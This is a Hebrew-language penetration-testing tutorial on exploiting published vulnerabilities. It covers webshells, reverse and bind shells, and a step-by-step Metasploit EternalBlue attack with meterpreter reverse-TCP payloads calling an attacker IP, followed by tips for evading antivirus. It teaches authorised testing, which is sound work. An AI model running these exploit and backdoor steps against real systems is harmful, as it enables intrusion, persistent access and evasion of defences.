לדלג לתוכן

חולשת 1day היא חולשה במוצר מסוים שפורסמה ומוכרת באינטרנט. (כלומר עבר יותר מיום אחד מאז שהעולם הכיר אותה.)

אם הגעתם לפה סימן שיש לכם דוח שלם של reconn + enumeration על האתר שאותו אנחנו תוקפים.
עכשיו הגיע שלב הexploitation (ההשמשה).

**דבר חשוב:
שימו לב שאתם לא מריצים שום חולשה על שום אתר שאין לכם אישור לנסות להריץ עליו חולשה.

איך זה הולך

  1. בגדול אנחנו עוברים על כל אתר, עוברים על כל הטכנולוגיות שחשופות לנו שהאתר משתמש בו ומנסים להביא גסרה מדויקת שלהם (באמצעות wappalizer למשל).
  2. אם אין לנו עדיין גרסה מדויקת לכל מוצר שסרקנו אז מחפשים באינטרנט כיצד אפשר להביא גרסא למוצר שאנחנו עובדים מולו כדי שבסוף יהיה לנו רשימה של מוצרים והגרסות שלהם.
  3. אז איך מוצאים חולשת 1day למוצר? כותבים באינטרנט את שם המוצר, הגרסה, ואז "exploit", או "poc" או "rce"- (כמו למשל spring exploit poc) משם כנראה תמצאו הרבה מאוד עמודים שאומרים אם יש חולשה לשירות לגרסה שמצאתם או שלא תמצאו כלום- אם קיימת חולשה אתם תראו בעמודים שכתוב כנראה "cve-xxxxx", זה בגדול המזהה של החולשה- 99% מהחולשות ה1days בעולם יש מזהה כזה. (תחפשו אותו.)
  4. אחרי שמצאתם CVE שנראה תקיף לגרסה של השירות שיש מולכם, תחפשו את הCVE בגוגל כדי לחפש השמשות של קוד שמשמיש את החולשה- בדרך כלל תראו עמודי github עם קוד פייתון שמריץ את החולשה, או באתר exploitdb ודומים לו.
    אומנם אם זאת חולשת זכרון, יהיה לכם קצת קשה להבין מה קורה- אבל אם זה חולשת ווב זה כנראה יהיה לכם פשוט יותר להבין. בכל מקרה תשתדלו לקרוא את ההשמשה לפני שאתם מריצים משהו, כדי ללמוד ולהבין איך החולשה עובדת.
  5. לפעמים אין השמשות של חולשות באינטרנט- ואז תצטרכו להשתמש בידע שלכם בתכנות כדי לכתוב קוד בעצמכם שמשמיש את החולשה, כמובן לאחר שתקראו כמה מאמרים שמסבירים על החולשה ואיך הוא עובדת, ולפעמים גם אין את זה.
  6. טיפ של אלופים: אם אין השמשה באינטרנט, ואין מאמר שמדבר על החולשה תוכלו לראות את הcommit של patch של החולשה בעמוד הgit של המוצר שאתם עומדים מולו.
    איך זה עוזר? כך תוכלו לראות איזה קבצים תוקנו, איזה קוד שינו וכך תוכלו להבין בעצמכם איפה הייתה החולשה ואז תוכלו לכתוב השמשה בעצמכם.

להריץ 1days זה כיף :) - ניצחון מהיר שבדרך כלל מזכה בכסף בתוכניות bug bounty מבלי להתאמץ יותר מידי.
וגם להצליח להריץ קוד על אתר אינטרנט זה די מגניב.
Pasted image 20250301215635.png
למעלה תוכלו לראות את חולשת Spring4Shell שמביאה לנו הרצת קוד על backend שכתוב בSpring, בגרסאות מסוימות.

מה הוא payload

  • אז בגדול כשאנחנו מריצים חולשה, אנחנו צריכים להביא להpayload מסויים.
  • הpayload הוא הפקודות שאנחנו נרצה להריץ על הנתקף בדרך כלל, בסיום הרצת החולשה.
  • בpayload אנחנו נרצה בדרך כלל לכתוב שורת פקודה שמתקינה איזשהו כלי סייבר על הנתקף, כדי שנוכל להתחבר אילו בקלות.

מילה על backdoor-ים

  • בגדול אמרנו שbackdoor הוא סוג של כלי סייבר שאנחנו מתקינים על המחשב שאותו אנחנו תוקפים ישר אחרי הרצת החולשה.
  • המטרה של התקנת backdoor היא שאנחנו נוכל לחזור להריץ קוד על המחשב בכל עת מבלי להריץ כל פעם את החולשה מחדש.
  • נתקין את הbackdoor בשורת הpayload שרצה אצל הנתקף אחרי ההשמשה של החולשה.
  • נדבר בקטנה על 3 סוגי backdoor-ים פשוטים מאוד שברוב ההשמשות כנראה נשתמש בהם.

הwebshell-ים

  • וובשל הוא קובץ קוד שאנחנו יכולים לעלות לאתר (אחרי שפרצנו אילו) שנותן לנו להתחבר אילו בכל זמן ולהריץ קוד. (יש וובשלים מורכבים יותר, שמאפשרים להעלות קבצים, להוריד קבצים, ועוד.)
  • בגדול וובשל זה פתרון פשוט מאוד וזמין כאשר עומד מולכם אתר שמבוסס על העקרון של קבצים כנתיבים, כמו php, asp.net, jsp וכו.
    דוגמה לוובשל בphp:
    https://github.com/artyuum/simple-php-web-shell
    ברגע שתעלו את הקובץ הזה לאתר שאילו פרצתם, תוכלו לגשת אילו ולהשתמש בו כדי לשמר את הגישה שלכם לאתר.

הreverse shell

  • ריברס shell זה בגדול כאשר אתה גורם למחשב הנתקף לפנות לip ו- port שלך, כאשר אתה מאזין לתקשורת ממנו. ובחיבור אתה שולח פקודת shell, והנתקף מחזיר תשובה לפקודה.
    באתר הבא תוכלו לראות דוגמאות לאיך לבצע reverse shell על ווינדוס או לינוקס בהינתן תוכנות מסוימות על המחשב:
    https://www.revshells.com/
    שימו לב שיש את הפקודה שאתם צריכים להריץ על המחשב שלכם (ההאזנה)
    והפקודה שאתם צריכים להריץ על הנתקף.
  • חשוב מאוד לוודא שאתם מבינים את הפקודות שאתם מריצים לעומק כדי לא לדפוק משהו, להצליח להבין כשמשהו לא עובד וכו.
  • הבעיה בreverse shell שאם אנחנו מריצים את זה מעל האינטרנט, אם אין לנו vps עם ip פומבי זה לא כזה פשוט. כלומר נצטרך לפתוח פורט על הראוטר שלנו, ואם אנחנו מאחורי double nat זה פשוט לא אפשרי. - אם אתם לא מבינים את המושגים שאני משתמש בהם תחזרו לקורס רשתות ;)

הbindshell

  • אז הbinshell זה בגדול כמו reverse shell רק הפוך. שהנתקף מאזין בפורט מסויים ואנחנו מתחברים.
  • היתרונות הן שאנחנו לא צריכים להאזין בIP פומבי באינטרנט, ושגם במחשב שלנו בבית נוכל בפשטות להשמיש את הסיטואציה.
  • לעומת זאת חסרון די משמעותי שאנחנו גורמים לנתקף לפתוח פורט באינטרנט שכולם יכולים להתחבר אילו שמעניק להם הרצת קוד.
    גם bind shell-ים אפשר לג'נרט באתר:
    https://www.revshells.com/

מדריך לשימוש במטה-ספלויט (Metasploit)

1 m4r3GWd5HTNwhDLgyzQDzA 1.png

מה זה מטה-ספלויט?

בגדול Metasploit Framework הוא כלי שנמצא כברירת מחדל ב-Kali Linux ומאפשר לבצע בדיקות חדירות באמצעות אלפי השמשות-חולשות (exploits), פיילודים (payloads), וסקריפטים לסריקות שונות. במקום אחד ובפורמט אחיד, הוא מאפשר לנו:
- למצוא חולשות בעזרת חיפוש מובנה
- להריץ ניצולים כדי לנצל חולשות
- לבחור payload מתאים ליצירת גישה למערכת

הפעלת Metasploit

כדי להפעיל את Metasploit, יש להריץ את הפקודה:

msfconsole

לאחר הפעלת ה-framework, יופיע קונסול Metasploit עם הבאנר הייחודי שלו.
Pasted image 20230224112559.png

חיפוש השמשות

הMetasploit מאפשר חיפוש של חולשות והשמשות בצורה נוחה. לדוגמה, כדי לחפש השמשה לחולשה המוכרת EternalBlue:

search eternalblue

תוצאה אפשרית:

Exploit           Rank    Description
----------------  ------  -----------
exploit/windows/smb/ms17_010_eternalblue  great  MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption

שימוש ב EternalBlue

  1. בחירת השמשה

    use exploit/windows/smb/ms17_010_eternalblue
    

  2. בדיקת פרמטרים להשמשה

    show options
    

  3. הגדרת פרמטר: כתובת ה-IP של המטרה (הנתקף)

    set RHOSTS <TARGET-IP>
    

  4. בחירת payload לקבלת reverse shell בווינדוס

    set PAYLOAD windows/shell_reverse_tcp
    

    כמובן יש עוד המון payload-ים, מוזמנים לחפש בעצמכם בדיוק כמו שמחפשים השמשות.

  5. הגדרת כתובת ה-IP של התוקף (המחשב שלך) - הכרחי בreverse shell

    set LHOST <ATTACKER-IP>
    

  6. הרצת ההשמשה

    exploit
    

  7. אם החולשה עבד יפתח לכם shell על המחשב הנתקף

כלי הסייבר של מטה-ספלויט הMeterpreter

הMeterpreter הוא סוג מתקדם של כלי סייבר בתוך Metasploit המאפשר שליטה מלאה על מערכת היעד. הוא מספק יכולות מתקדמות כגון:

  • הרצת פקודות ישירות בזיכרון (ללא יצירת קבצים בדיסק)

  • צילום מסך של מערכת היעד

  • שימוש במצלמת הרשת של המחשב הנתקף

  • העלאה והורדה של קבצים

  • טינול תעבורה

שימוש ב-Meterpreter עם EternalBlue

  1. בחירת השמשה
use exploit/windows/smb/ms17_010_eternalblue
  1. הגדרת הפרמטרים

set RHOSTS <TARGET-IP>
set LHOST <ATTACKER-IP>
set PAYLOAD windows/meterpreter/reverse_tcp

שימו לב שבpayload אנחנו בוחרים בpayload reverse של meterpeter - כך אנחנו מגדירים לmeterpeter להתחבר אילנו, ולא אנחנו אילו.

  1. הרצת ההשמשה
exploit

אם ההתקפה הצליחה, ייפתח prompt של Meterpreter:

meterpreter> sysinfo  # הצגת פרטי המערכת המרוחקת
meterpreter> shell    # פתיחת טרמינל מרוחק
meterpreter> screenshot  # צילום מסך של המערכת המרוחקת

חסרונות של Meterpreter מול אנטי-וירוסים

למרות היכולות המתקדמות שלו, Meterpreter עלול להיחשף בקלות על ידי תוכנות אנטי-וירוס מודרניות. מכיוון שהוא פועל בזיכרון ללא כתיבה לדיסק, הוא נחשב לפחות בולט, אך חתימתו מוכרת ברוב מוצרי ההגנה. כדי להימנע מזיהוי, ניתן:

  • לערוך ולחתום מחדש את ה-Payload עם כלים כמו Veil או msfvenom

  • להשתמש בטכניקות עקיפה מתקדמות כגון obfuscation

  • ליצור Payload מותאם אישית עם שפות כמו Python או C++

לכן, במקרים מסוימים עדיף להשתמש ב-reverse shell פשוט יותר או ב-Payloads מותאמים אישית כדי למנוע זיהוי.
כי בכל מערכת הפעלה מודרנית עם אנטי-וירוס הכלי יתפס.

סיכום

  • תכלס כדי כשאנחנו מריצים 1days אנחנו יכולים למצוא השמשה באינטרנט, בmetasploit או לכתוב אחת בעצמנו.
  • יש המון payload-ים שנוכל להריץ בהשמשות שלנו, אך חשוב מאוד להכיר ב100% איזה פקודות עומדות לרוץ על הנתקף- כי כשתגיעו למצב שדברים לא עובדים לכם, תדעו להבין למה ומה אפשר לעשות.
  • תמיד תבחרו את סוג הpayload והbackdoor בהתאם למכונה שדרכה אתם תוקפים, שימו לב אם אתם יכולים לפתוח פורט באינטרנט, כן, לא, ומה המצב הרשתי שאתם נמצאים בו.

מקווה שעכשיו מתחילים ליפול האסימונים למה למדתם תכנות, רשתות ומערכות הפעלה כל כך הרבה ;)